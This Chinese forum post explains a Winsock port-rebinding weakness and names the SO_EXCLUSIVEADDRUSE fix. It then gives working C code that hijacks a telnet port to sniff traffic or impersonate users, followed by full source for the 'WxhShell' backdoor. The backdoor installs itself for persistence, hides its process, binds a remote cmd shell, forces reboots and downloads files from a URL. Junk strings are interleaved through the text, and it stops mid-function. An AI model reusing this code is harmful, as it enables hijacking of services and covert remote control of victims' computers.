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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z@em1W0?Z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3DO
^vV Bl)DuCV saddr.sin_family = AF_INET; }xM >F% p8MPn>h< saddr.sin_addr.s_addr = htonl(INADDR_ANY); R~DZY{u+/$ 7vs>PV bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kFHtZS( "Dwaq*L 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L2
tSKw~ 4!KUPgg 这意味着什么?意味着可以进行如下的攻击: OmX(3>:9 eyGY8fF8$ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uCNi&. 5}t}Wc8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (>\w8] =m?x|Zc_v 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !,< )y}L^) ?5g0#wqI 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Jk!*j 2aUy1*aM 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YAf`Fnmw x7]Yn'^' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &*#- %<=1 noa=wy 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sC.aT(meJ ,s,VOyr @F #include .-g++f(_i #include #{kwl|c #include |H'4];>R? #include Zxwcj(d DWORD WINAPI ClientThread(LPVOID lpParam); IaLCWvHX int main() @ukIt { !h0#es\ WORD wVersionRequested; le-Q&* DWORD ret; 24
i00s|# WSADATA wsaData; A<VNttgG BOOL val; 5h2@n0 SOCKADDR_IN saddr; _# /zH~V% SOCKADDR_IN scaddr; 2Y@:Vgg int err; gOA SOCKET s; yJ&`@gB SOCKET sc; p|z\L}0 int caddsize; ^sp+ sr : HANDLE mt; BM&.Tw|x DWORD tid; @;we4G5 wVersionRequested = MAKEWORD( 2, 2 ); Sp=6%3fZ]m err = WSAStartup( wVersionRequested, &wsaData ); T.sib&R if ( err != 0 ) { *3A[C-1~. printf("error!WSAStartup failed!\n"); ?p8(Uc#73 return -1; 6:(*u{ } Iu`xe saddr.sin_family = AF_INET; ?m?DAd~ZY ljij/ C= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DhwFD8tT U]Vu8$W saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [BpIzhy&} saddr.sin_port = htons(23); L+&eY?A if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^Z{W1uYi { 0]c 2 T printf("error!socket failed!\n"); s3*h=5bX= return -1; M@V.?;F}, } x05yU val = TRUE; VE<&0d< //SO_REUSEADDR选项就是可以实现端口重绑定的 m\88Etl@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o#-K,|- { /^kZ}}9baU printf("error!setsockopt failed!\n"); .'q0*Pe return -1; J<<0U; } <=
xmJx-V //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +|N!(H //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,[lS)`G //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ix<sorR H k#I4^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hDp
-,ag{ { JwNG`MGc ret=GetLastError(); \/J7U|@Lt printf("error!bind failed!\n"); yE(> R(^ return -1; a+TlZE>8 } q89#Ftkt listen(s,2); ztNm,1pnQ while(1) `43`*= { Sxrbhnx caddsize = sizeof(scaddr); 4,!S?:7 //接受连接请求 G H
N sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4 |ryt4B if(sc!=INVALID_SOCKET) aD aQ7i { 0B^0,d(s mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P| o_/BS if(mt==NULL) Lzzf`jN] { uM\(#jZ printf("Thread Creat Failed!\n"); m/)Wn break; }vRs n-E@ } =gCv`SFW } bY4~\cP. CloseHandle(mt); 30(O]@f~ } 2Rc'1sCth- closesocket(s); 6OJ`R.DM` WSACleanup(); $z!o&3c'x return 0; tK3.HvD } 4}FuoQL DWORD WINAPI ClientThread(LPVOID lpParam) NJG-~w { ]wg+zOJu]+ SOCKET ss = (SOCKET)lpParam; E>tlY&0[$ SOCKET sc; e~C^*w L unsigned char buf[4096]; 9Z,vpTE SOCKADDR_IN saddr; xF'9`y^]!@ long num; 2jTP
(b2b DWORD val; bJJB*$jW= DWORD ret; _7(>0GY //如果是隐藏端口应用的话,可以在此处加一些判断 aHosu=NK //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 bDa(@QJ- saddr.sin_family = AF_INET; *~F\k):> saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tN&x6O+@ saddr.sin_port = htons(23); YN1P9j#0d if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b{|Ha3;w { Yyq:5V! printf("error!socket failed!\n"); S3V3<4CB return -1; .'md `@t } x:W nF62 val = 100; kw8?::
< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6b9 oSY-8 { `+[e]dH ret = GetLastError(); -iu7/4!j return -1; ^YddVp } A"t~
) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CA7 ZoMB# { =v-BzF15 ret = GetLastError(); C%LRb{|d return -1; p2N;- } 3fJGJW!zu if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f>k<I[C< { ]iewukB4 printf("error!socket connect failed!\n"); 0z@KkU{Z closesocket(sc); a%"mgCB closesocket(ss); '!*,JG5_ return -1; +H5=zf2 } gWm
-}Nb4 while(1) i1]*5;q { $Q,Fr;
B //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \2(Uqf#_ //如果是嗅探内容的话,可以再此处进行内容分析和记录 `9a %vN //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Fp>iwdjFg num = recv(ss,buf,4096,0); h}&WBN if(num>0) T8&
kxp send(sc,buf,num,0); ,bh OIuep3 else if(num==0) fZK&h. break; E5D5 num = recv(sc,buf,4096,0); (H/JB\~r if(num>0) pi)7R:i send(ss,buf,num,0); PtySPDClj else if(num==0) %N#8D<ULd break; lP*_dt9 } Y4cIYUSc closesocket(ss); USLG G}R closesocket(sc); okfGd=
& return 0 ; }J27Y;Zp9 } >U\,(VB :_;9&[H9ha 8?ldD ========================================================== }gQ FWT S(kj"t*3 下边附上一个代码,,WXhSHELL \.+.VK N|[P%WM3 ========================================================== BdcTKC QeP8Vl&e: #include "stdafx.h" ZS0=xS5q) L&$ X\\Lv^ #include <stdio.h> $\kqh$") #include <string.h> 4fPbwiKj #include <windows.h> R)% Jr.U #include <winsock2.h> +]^6&MqO #include <winsvc.h> Pt~mpRlH #include <urlmon.h> R7: >'*F f/t1@d! #pragma comment (lib, "Ws2_32.lib") %?K1X^52d #pragma comment (lib, "urlmon.lib") gqR?hZD M>hHTa?W #define MAX_USER 100 // 最大客户端连接数 ,7:_M>-3g #define BUF_SOCK 200 // sock buffer qkB)CY7 #define KEY_BUFF 255 // 输入 buffer t(69gF\" <Cc}MDM604 #define REBOOT 0 // 重启 @vWf-\ #define SHUTDOWN 1 // 关机 nQ4 s c,%9Fh?( #define DEF_PORT 5000 // 监听端口 mo1(dyjx M`!\$D #define REG_LEN 16 // 注册表键长度 x&qC~F*QR% #define SVC_LEN 80 // NT服务名长度 ^R.kThG rYUhGmg` // 从dll定义API ^:g8mt typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U$o\?4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %/KN-* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MxMrLiqU6l typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); / sI0{ j+0=)Q%I= // wxhshell配置信息 dIiQ^M struct WSCFG { pp{Za@j int ws_port; // 监听端口 jQjtO"\JG char ws_passstr[REG_LEN]; // 口令 rW$ )f int ws_autoins; // 安装标记, 1=yes 0=no E-,/@4k char ws_regname[REG_LEN]; // 注册表键名 EU?)AxH^ char ws_svcname[REG_LEN]; // 服务名 =KfV;.& char ws_svcdisp[SVC_LEN]; // 服务显示名 m1DzUq; char ws_svcdesc[SVC_LEN]; // 服务描述信息 :A%|'HxH3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q{/>hvl int ws_downexe; // 下载执行标记, 1=yes 0=no v'Y)~Kv@! char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" pE{ZWW[@+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n_5m+
1N L'k) }; )rJ{}U:S l$KC\$?%* // default Wxhshell configuration T1TKwU8l struct WSCFG wscfg={DEF_PORT, b X.S` "xuhuanlingzhe", a f[<[2pma 1, QI*Y7R~< "Wxhshell", v;.7-9c* "Wxhshell", jbx@ty "WxhShell Service", \sB
a "Wrsky Windows CmdShell Service", *:r@-=M3= "Please Input Your Password: ", ;WX)g&19x 1, fD1J@57 " http://www.wrsky.com/wxhshell.exe", mY9^W2: "Wxhshell.exe" t,$4J6 }; -V@vY42 uM"G)$I\ // 消息定义模块 s5? 1w char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iB#xUSkS char *msg_ws_prompt="\n\r? for help\n\r#>"; dL%?k@R char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; R$(FrbC char *msg_ws_ext="\n\rExit."; o33wePx, char *msg_ws_end="\n\rQuit."; UFnz3vc char *msg_ws_boot="\n\rReboot..."; Hts.G~~8 char *msg_ws_poff="\n\rShutdown..."; Zcq'u
jU char *msg_ws_down="\n\rSave to "; 4QbD DvRQ^ ^Glmg}>q char *msg_ws_err="\n\rErr!"; ?f!w:zp char *msg_ws_ok="\n\rOK!"; ql,k 5.l (.~#bl char ExeFile[MAX_PATH]; bdh6ii int nUser = 0; #rSm;'%, HANDLE handles[MAX_USER]; 5B3S]@% int OsIsNt; 3 @XkO ! 6yoD SERVICE_STATUS serviceStatus; 6gz
!K"S SERVICE_STATUS_HANDLE hServiceStatusHandle; $j61IL3+ [@"~'fu0 // 函数声明 I}JC ~=`j int Install(void); nX(2&< int Uninstall(void); >`Xikn( int DownloadFile(char *sURL, SOCKET wsh); w"Gci~]bXU int Boot(int flag); ">='l9 void HideProc(void); MY>mP int GetOsVer(void); SV%;w> int Wxhshell(SOCKET wsl); HGqT"NJr void TalkWithClient(void *cs); YTH3t]
& int CmdShell(SOCKET sock); \9Nd"E[B int StartFromService(void); &2-dZK int StartWxhshell(LPSTR lpCmdLine); &DoYz[q !{'C.sb?~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c#'t][Ii VOID WINAPI NTServiceHandler( DWORD fdwControl ); G'b*.\= }F3}-5![ // 数据结构和表定义 ciRn"X=l SERVICE_TABLE_ENTRY DispatchTable[] = D:`b61sWi_ { (]*
Ro 8 {wscfg.ws_svcname, NTServiceMain}, x6Q,$B {NULL, NULL} r;}%} /IX }; LIfQh @=CN#D12 // 自我安装 =
GUgb2TAT int Install(void) }7p`8? { ;&mefaFlWp char svExeFile[MAX_PATH]; _*\:UBZx6 HKEY key; d{^9` J' strcpy(svExeFile,ExeFile); UI S\t^pJD
fFu+P<?" // 如果是win9x系统,修改注册表设为自启动 ' S%?&4 if(!OsIsNt) { %M"rc4Xd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V$U#'G>m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); om6'%nXhn RegCloseKey(key); A")F7F31c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t[HfaW1W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wrw4Uxq RegCloseKey(key); ?N*m2rv return 0; [n%=2*1p } J~.8.]gXW } DIrQ5C } ^0oOiZs else { %K0
H?^. F@ Sw // 如果是NT以上系统,安装为系统服务 FbH
1yz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
DZPg|*KT if (schSCManager!=0) \NE~k)`4j% { klkshlk d SC_HANDLE schService = CreateService h-)tWJ c ( 'ii5pxeNI schSCManager, S\$=b_. wscfg.ws_svcname, XcN"orAo wscfg.ws_svcdisp, tzH~[n, SERVICE_ALL_ACCESS, pC=kv ve SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .gZ1}2GF= SERVICE_AUTO_START, yU ?TdM\ SERVICE_ERROR_NORMAL, hnOo T? V svExeFile, IRWVoCc9/\ NULL, A7U]wW9 NULL,
g!/O)X3 NULL, Ife/:v NULL, D==C"}J NULL =i'APeNaQ ); o$PY0~# if (schService!=0) Sfl. &A( { >;wh0dBe CloseServiceHandle(schService); o:oQF[TcFO CloseServiceHandle(schSCManager); SSCyq#dl$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lVb{bO9-O strcat(svExeFile,wscfg.ws_svcname); [S Jx\Os if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X*'i1)_h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &E&_Z6# RegCloseKey(key); -jXO9Q return 0; Epo/}y } ks3ydHe` } n-djAhy CloseServiceHandle(schSCManager); H3Ws$vl9n } l~",<bTc } hj4!* c 5~,usA* return 1; utSW> } =}F}XSvXH <V}
ec1 // 自我卸载 ,,}&
Q%5 int Uninstall(void) l~mC$>f { wqx9 HKEY key; LH_VdLds Sbzx7 *X if(!OsIsNt) { N [qNSo| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OSu/!Iv\ RegDeleteValue(key,wscfg.ws_regname); B183h RegCloseKey(key); Ja4j7d1: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B>]4NF\)H9 RegDeleteValue(key,wscfg.ws_regname); TUy
25E RegCloseKey(key); 4,g[g#g<q return 0; bd'io O } 1n3XB+* } g"}j } 9-ei#|Vnt[ else { c_~tCKAZ nO#a|~-)) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |K.J@zW if (schSCManager!=0) s~i73Qk/ { @IE.@1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $^K12Wcp- if (schService!=0) lVptA3F { ;Q.'u if(DeleteService(schService)!=0) { Xtk3~@ CloseServiceHandle(schService); h/s8".\ CloseServiceHandle(schSCManager); td!YwN* return 0; 0bz':M#k & } \281X CloseServiceHandle(schService); kac-@ } i;l0)q CloseServiceHandle(schSCManager); /#Gm`BT } 5K#<VU*: } )\PPIY>iP qk}Mb_*C) return 1; ']C" 'b } "wi}/,) prw% )#, // 从指定url下载文件 `ElJL{Rn int DownloadFile(char *sURL, SOCKET wsh) ,DIr&5>p2 { V*,6_-^l HRESULT hr; Nu,t,&B
char seps[]= "/"; ./qbWr`L char *token; f^]^IXzXw. char *file; J]ri|a char myURL[MAX_PATH]; $z,rN\[ char myFILE[MAX_PATH]; 49!(Sa_]j i|!D strcpy(myURL,sURL); Wr6y w# token=strtok(myURL,seps); yc7"tptfF while(token!=NULL) INNTp[ { WQ1K8B4 file=token; VJbn/5+P token=strtok(NULL,seps); O5v~wLx9e } 1$n!Lj=5
M2Zk1Z GetCurrentDirectory(MAX_PATH,myFILE); 6^QSV@N| strcat(myFILE, "\\"); .22}=z strcat(myFILE, file); 'GF <_3I2l send(wsh,myFILE,strlen(myFILE),0); BK 9+fO send(wsh,"...",3,0); dF+R
q|n{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); undH{w= if(hr==S_OK) 1 ~s$< return 0; =`+c}i? else p?,T%G+gqO return 1; N"Cd{3 WqRaD=R->; } 5E!Wp[^ ?WBA:?=$58 // 系统电源模块 9jJ:T$} int Boot(int flag) K)P].htw { F7&Oc)f"B HANDLE hToken; W61nJ7@ TOKEN_PRIVILEGES tkp; zwgO|Qg; ;\54(x}|K if(OsIsNt) { z)fg>?AGr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [&5%$ T LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {(5M)|> tkp.PrivilegeCount = 1; RD6`b_]o tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 83pXj=k< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oTb4 T= if(flag==REBOOT) { f-5}`)`.+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yv(\5)XF return 0; '/GZ/$a_l } 0czEA else { ia*Bcx_RW+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h,x'-]q return 0; umI6# Vd`= } 115zvW } :^ J'_ else { EMw
biGV if(flag==REBOOT) { fctVJ{? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t}fU 2Yb return 0; G|LcTV } E>&oe&`o' else { en8l:INX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AkX8v66:
return 0; NGAjajB } 3h4'DQ.g } >mp"=Y 5^e|802 return 1; v]U0@#/p } TIVrbO\!o nA.~} // win9x进程隐藏模块 %)}y[
( void HideProc(void) pVC;''E { OcZ8:`=% deqL HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p77 if ( hKernel != NULL ) 8gXf4A(N { ~Aoo\fN_U pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ji;R{tZ.R ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8+8P{_ FreeLibrary(hKernel); D`@*udn= } lk%W2N5 /F_(&H!m return; q":0\ar&QT } }!1pA5x$ ]oE:p // 获取操作系统版本 B+n(K+ int GetOsVer(void) :=2l1Y[-G { . *c%A^> OSVERSIONINFO winfo; l^4! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >-4kO7.V GetVersionEx(&winfo); F:cenIaBF if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q|xic>. return 1; )kt,E}609 else `dm}|$X| return 0; $?dutbE } KO&oT#S ]V.0%Ccw;. // 客户端句柄模块
3vRBK?Q.y int Wxhshell(SOCKET wsl) &/{x7;e { rRd8W}B SOCKET wsh; "Rq)%o$Z struct sockaddr_in client;
{U7A&e0eW DWORD myID; mqKr+
ZfSAXr "( while(nUser<MAX_USER) Q+=D#x { -: 8[ int nSize=sizeof(client); .>+jtp} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f}?q if(wsh==INVALID_SOCKET) return 1; A"no!AN JTfG^Nv>K handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &&sCaNb if(handles[nUser]==0) U=>4=gsG closesocket(wsh); Z*M-PaU} else sI#r3:?i nUser++; 8~eYN-#W& } I+FQ2\J*H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pb=yQ}. MP%pEUomev return 0; V8IEfU } Q0-}!5`E1$ $+Zj)V( // 关闭 socket N83g=[ void CloseIt(SOCKET wsh) JN<IMH { "M4gl closesocket(wsh); Ilv
_. nUser--; oK{H
<79 ExitThread(0); =d`/BDD } ui4*vjd
qFg"!w // 客户端请求句柄 YDdY'd`* void TalkWithClient(void *cs) e=w.7DSE { TP?HxO_C b8TwV_&|X SOCKET wsh=(SOCKET)cs; 5$Aiez~tBq char pwd[SVC_LEN]; r-IG.ym3 char cmd[KEY_BUFF]; DTp|he char chr[1]; 6n5>{X int i,j; F]7$Y G,JK$j>*l
while (nUser < MAX_USER) { \ws^L,h Gw0MDV&[ if(wscfg.ws_passstr) { = *~Q5F if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IiRII)
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {wyf>L0j //ZeroMemory(pwd,KEY_BUFF); n
2m!a0; i=0; {ZrB,yK while(i<SVC_LEN) { aIW W[xZ v#o<.
Ig // 设置超时 $ H2HVJ fd_set FdRead; fY{&W@#g struct timeval TimeOut; 'k9dN
\ev FD_ZERO(&FdRead); (b4;c=<[{ FD_SET(wsh,&FdRead); @gHWU>k,A TimeOut.tv_sec=8; Lyj0$wbH` TimeOut.tv_usec=0; 3f^~mTY9>] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _$YT*o@0J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $jtXNE? Gp5=cV'k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %9P)Okq pwd =chr[0]; 268H!'!\ if(chr[0]==0xd || chr[0]==0xa) { 7d"gRM; pwd=0; >djTJ>dl_u break; Rr3<ln } ;^Y]nsd i++; ?f ]!~ } N>'|fNx] t ]yD95| // 如果是非法用户,关闭 socket T{Rhn V1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o6~9.~_e } dLIZ)16& c<n <!!vi send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -L)b;0% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -)2sR>`A% !mLD`62. while(1) { =zXii{t FsyM{LT ZeroMemory(cmd,KEY_BUFF); /vG)n9Rc ^J_rb;m43 // 自动支持客户端 telnet标准 soi.`xE j=0; r7=r~3) while(j<KEY_BUFF) { g4fe(.?c, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZQQ0} cmd[j]=chr[0]; f}U@e0Lsb if(chr[0]==0xa || chr[0]==0xd) { % HK \ cmd[j]=0; "G,$Sqi@ break; MEZc/Ru-[ } 98^o9i j++; _6,Tb] } F"*.Qq S0uEz;cE // 下载文件 XK7$Xbd if(strstr(cmd,"http://")) { j/+e5.EX/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); jaq`A'o5 if(DownloadFile(cmd,wsh)) K=`;D send(wsh,msg_ws_err,strlen(msg_ws_err),0); bPHqZ*f else Z 71.* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $7bl,~Z } TaN]{k else { js#72T/_n L&s|<<L switch(cmd[0]) { rS3* k3 6s$jt-bH // 帮助 3]u[NR case '?': { <h7FS90S send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b\^q9fy break; s wIJmA } 0~0OQ/>7 // 安装 Yo$
xz case 'i': { fqcFfz6?x if(Install()) $JTQA send(wsh,msg_ws_err,strlen(msg_ws_err),0); PfKF!/c
B else u:FFZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); erC )2{m break; hL8GW> `a } D)*OQLHW // 卸载 ]J%p&y+6 case 'r': { j~a"z4 0 if(Uninstall()) 6YCFSvA#/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1VD8y_tC else }&h*bim send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #& 5} break; M((]> *g } }#h >*+Q // 显示 wxhshell 所在路径 h*JzJ0X case 'p': { />,Tq!i\4} char svExeFile[MAX_PATH]; SpB\kC"K strcpy(svExeFile,"\n\r"); =Hs[peO* strcat(svExeFile,ExeFile); s/"?P/R send(wsh,svExeFile,strlen(svExeFile),0); X>`5YdT~+ break; ">pt,QV } '"/Yk=EmlU // 重启 4tb y N case 'b': { q0l=S+0 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AM ZWPU if(Boot(REBOOT)) 'l| e}eti> send(wsh,msg_ws_err,strlen(msg_ws_err),0); J"&jR7-9 else { &S8Pnb)d closesocket(wsh); zAxscDf' ExitThread(0); E
=7m@"0 } V?*\ISB`} break; AKbrXKx } M#PutrH // 关机 |Qe#[Q7 case 'd': { V#Px send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q|23l1PI if(Boot(SHUTDOWN)) 1JIo,7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z.]=u(=a else { A"`^Abrm closesocket(wsh); |QIFtdU5T ExitThread(0); 3bGJ?hpp } GWU"zWli]z break; W]t!I}yPR } W_ = // 获取shell SX4"HadV> case 's': { P})Iwk|Z CmdShell(wsh); %bp8VR sY closesocket(wsh); 7K|:
7e( ExitThread(0); 0xe!tA break; tL;!!vg#V } LXm5f; // 退出 EMV<PshW= case 'x': { w!=Fi send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p? dXs^ c CloseIt(wsh); I,:R~^qJ8v break; G q" [5r" } R6N+c\W // 离开
Imi#$bF6 case 'q': { .[E"Kb}= send(wsh,msg_ws_end,strlen(msg_ws_end),0); &s|a\!>l closesocket(wsh); |"Rl_+d7D WSACleanup(); z`^DQ8+\j exit(1); ?)ROQ1-#@ break; g@<E0
q&`$ } Wx i|(} } 4K(AXk } z/,qQVv=}4 7HpfHqJ7 // 提示信息 =ca<..yh[d if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y$]gmg } 4a&*?=GG } TaZw_)4c bvuoo/ return; @Y~R*^n"} } |9;6Cp ,EAf/2C // shell模块句柄 /-.i=o]b int CmdShell(SOCKET sock) &@c?5Ie5 { vtv^l3 STARTUPINFO si; KVvzVQ1 ZeroMemory(&si,sizeof(si)); h27awO
Q si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F%8W*Y699 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WCg*TL} PROCESS_INFORMATION ProcessInfo; %SwN/rna char cmdline[]="cmd"; %|3I|'%Y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (\Iz(N["G return 0; nY#V~^| } 8+L,a_q- wClX3l>y // 自身启动模式 : DxCjv int StartFromService(void) hr+,-j { J<
E"ZoY typedef struct oPX `/X# { ^st.bzg+[ DWORD ExitStatus; 3N'f Hy DWORD PebBaseAddress; 2f%G`4/p DWORD AffinityMask; 6%p$C
oR DWORD BasePriority; )]=1W
ULONG UniqueProcessId; FAS+*GFz ULONG InheritedFromUniqueProcessId; =9lrPQ]w } PROCESS_BASIC_INFORMATION; 1;\A./FVv a^vXwY PROCNTQSIP NtQueryInformationProcess; b)SU8z!NV& 8fn7! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #SHmAB static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xm|Uz`A; f1a >C HANDLE hProcess; PJ=N.xf} PROCESS_BASIC_INFORMATION pbi; N(%%bHi#V ii.L]#3y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hrT_0FZV if(NULL == hInst ) return 0; %<g(EKl 6N%fJ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C)7T'[ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +B
